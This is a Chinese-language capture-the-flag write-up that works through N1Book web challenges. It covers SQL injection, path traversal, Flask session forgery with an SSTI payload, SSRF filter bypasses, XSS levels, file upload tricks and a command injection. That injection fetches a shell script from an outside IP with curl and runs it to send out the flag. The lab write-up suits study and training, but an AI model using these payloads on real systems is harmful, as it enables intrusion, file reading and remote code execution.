CTF刷题记录(五)

[第一章 web入门]SQL注入-1

?1’#有回显,说明存在注入点(playload都要进行url编码才能上传成功)

?id=0' order by 3#有回显,4则没有,说明存在3个注入点

? 0' union select 1,2,3#回显2,3,说明回显位置为2,3

image-20220415023630705

?0' union select 1,database(),3#查数据库,为note
image-20220415023636629
?0' union select 1,table_name,3 from information_schema.tables where table_schema='note' limit 0,1#,查表名,为fl4g
image-20220415023643225
?0' union select 1,column_name,3 from information_schema.columns where table_name='fl4g' limit 0,1#,查字列,为fllllag
image-20220415023657483
? 0' union select 1,fllllag,3 from fl4g limit 0,1#,查字段得flag
image-20220415023703773

[第一章 web入门]SQL注入-2

根据提示访问login.php/?,存在盲注,

正确回显“error”:1,“msg”:"\u8d26\u53f7\u6216\u5bc6\u7801\u9519\u8bef"

错误回显“error”:1,“msg”:"\u8d26\u53f7\u4e0d\u5b58\u5728

爆破脚本,一步一步查数据得到flag

image-20220415023832657

image-20220415023845927

image-20220415023927773

[第一章 web入门]afr_1

利用伪协议读取flag的base64编码

Playload: ?p=php://filter/read=convert.base64-encode/resource=flag
image-20220415023953961

解码得flag

image-20220415024001374

[第一章 web入门]afr_2

源码给出提示,图片在img目录下

image-20220415024029749

访问该目录,存在目录穿越

image-20220415024036564

访问img../,下载flag

image-20220415024051034

[第一章 web入门]afr_3

根据题目提示找到读取文件途径

image-20220415024113151

../../../etc/passwd查看系统用户配置文件,没有什么有用信息

image-20220415024121104

../../../proc/self/cmdline查看当前进程cmdline参数

image-20220415024146591

../../../proc/self/cwd/server.py查看该程序代码,存在flag.py和key.py

image-20220415024152967

../../../proc/self/cwd/flag.py,不允许访问

image-20220415024202683

../../../proc/self/cwd/key.py得到信息

image-20220415024207877

查看代码,意思是flag在flag.py,key.py就是flask的app.secret_key,存在ssti漏洞,伪造flask的session即可访问flag.py

Session: session和cookie的作用有点类似,都是为了存储用户相关的信息。不同的是,cookie是存储在本地浏览器,而session存储在服务器。

使用flask-session-cookie-manager-master工具伪造session

一些python魔法方式

__class__  返回类型所属的对象(类)

__mro__  返回一个包含对象所继承的基类元组,方法在解析时按照元组的顺序解析。

__base__  返回该对象所继承的基类

// __base__和__mro__都是用来寻找基类的

__subclasses__  每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表

__init__ 类的初始化方法

__globals__  对包含函数全局变量的字典的引用

构造语句:

{'n1code’:’{{\’\’.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\’os\’].popen(\’cat flag.py\’).read()}}’}  //使用工具时,由于用到python环境,要把转义单引号

使用工具-s 传入key -t传入构造语句,加密得到伪造的session

image-20220415024408506

上传伪造的session,得到flag

image-20220415024417095

[第二章 web进阶]SSRF Training

根据题目提示找到源码,分析如下

image-20220415024438584

对于关键函数的测试

image-20220415024543679

结果如图

image-20220415024554976

通过构造url,能够绕过私有地址检测,从而执行else中的操作,读取flag.php

构造:

url=https://a:@127.0.0.1:80@hao123.com/flag.php

测试

image-20220415024730073

上传得flag

image-20220415024736248

[第二章 web进阶]死亡ping命令

创建字典:

"~","!","@","#","$","%","^","&","*","(",")","-","_","\\","[","]"," ' ","%0a","%0b","%0c","%0d"

在burpsuite进行fuzz测试,找到回显长度不同的符号

image-20220415024812202

逐个测试,找到不被过滤的符号**%0a(换行符)**

image-20220415024824780

打开一个靶机

image-20220415024831887
image-20220415024850749

编写一个sh

image-20220415024903714

监听端口

image-20220415024908035

请求bash到tmp目录

ip=127.0.0.1%0acurl 117.21.200.166/1.sh > /tmp/1.sh

image-20220415024930358给bash加权限

给bash加权限

ip=127.0.0.1%0achmod 777 /tmp/1.sh
image-20220415025013117

执行1.sh

image-20220415025021543

监听到flag n1book{6fa82809179d7f19c67259aa285a7729}

[第二章 web进阶]XSS闯关

 level1?username=<script>alert(1)</script>
image-20220415025107326

2.查看源码,参数username被escape函数编码,从而过滤了通过username参数的注入 image-20220415025125677

解决办法是不用username参数注入,

’进行闭合,直接过滤,

;执行下一个语句,

//注释掉多余的’

level2?username=';alert(1);//

得到image-20220415025158628

image-20220415025220165

3.查看源码

image-20220415025233594

输入level2注入语句,可知’被注释掉了

image-20220415025240693

再加一个’就能绕过,'';alert(1);//

image-20220415025246726
level3?username='';alert(1);//
image-20220415025310509

4.有一个重定向的伪链接 image-20220415025358866

查看源码,get方式获取重定向链接,修改链接值即可

image-20220415025405015
level4?jumpUrl=javascript:alert(1)
image-20220415025424391

5.查看源码,get方式传入参数,有两个限制

Autosubmit!=0且action!=0

image-20220415025434809

构造参数:

?autosubmit=1&action=javascript:alert(1)绕过第一个参数,执行第二个参数动作
image-20220415025455475

6.输入{{2*2}}回显,说明存在模板注入

image-20220415025503046

看源码,发现是AngularJS1.4.6版本

image-20220415025508843
查阅对应版本模板注入,{{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1)//');}}直接套用
image-20220415025533764

得到flagimage-20220415025538072

[第二章 web进阶]文件上传

题目直接给出了源码,得到过滤信息:

1.仅允许上传zip、jpg、gif、png文件

2.如果上传压缩包,压缩包内不允许含有php文件

image-20220415025600830

上传一个含有php的zip

image-20220415025606851

要绕过php,改成phtml,上传成功,问题是不知道路径

image-20220415025618302

上传成功后会在upload下随机生成一个md5目录存放文件,也就是说很难拿到文件的路径,设法绕过这个目录,让文件存储在根目录下

010 editor修改文件名,使之存在根目录下(修改的时候现在原来的文件名预留足够的位置)

image-20220415025635449

文件名换成php.xx(Apache解析漏洞)

Apache解析漏洞

一个文件名为test.php.aaa.bbb.ccc的文件,Apache会从ccc的位置往php的位置开始尝试解析 ,如果ccc不属于Apache能解析的后缀名,那么Apache就会尝试去解析bbb,这样一直往前尝试,直到遇到一个能解析的拓展名为止

上传后访问,得到flag

image-20220415025711242

[第三章 web进阶]Python里的SSRF

题目给出了提示

image-20220415025737136

构造

url=http://127.0.0.1:8000/api/internal/secret
127.0.0.1被禁止
image-20220415025743538

换成127.0.0.2,得到flag

image-20220415025825788

绕过ip限制

1、@绕过:

127.0.0.1和[www.baidu.com@127.0.0.1](http://www.baidu.com@127.0.0.1)解析结果一样

2、localhost或者0.0.0.0代替

3、在线转换短网址代替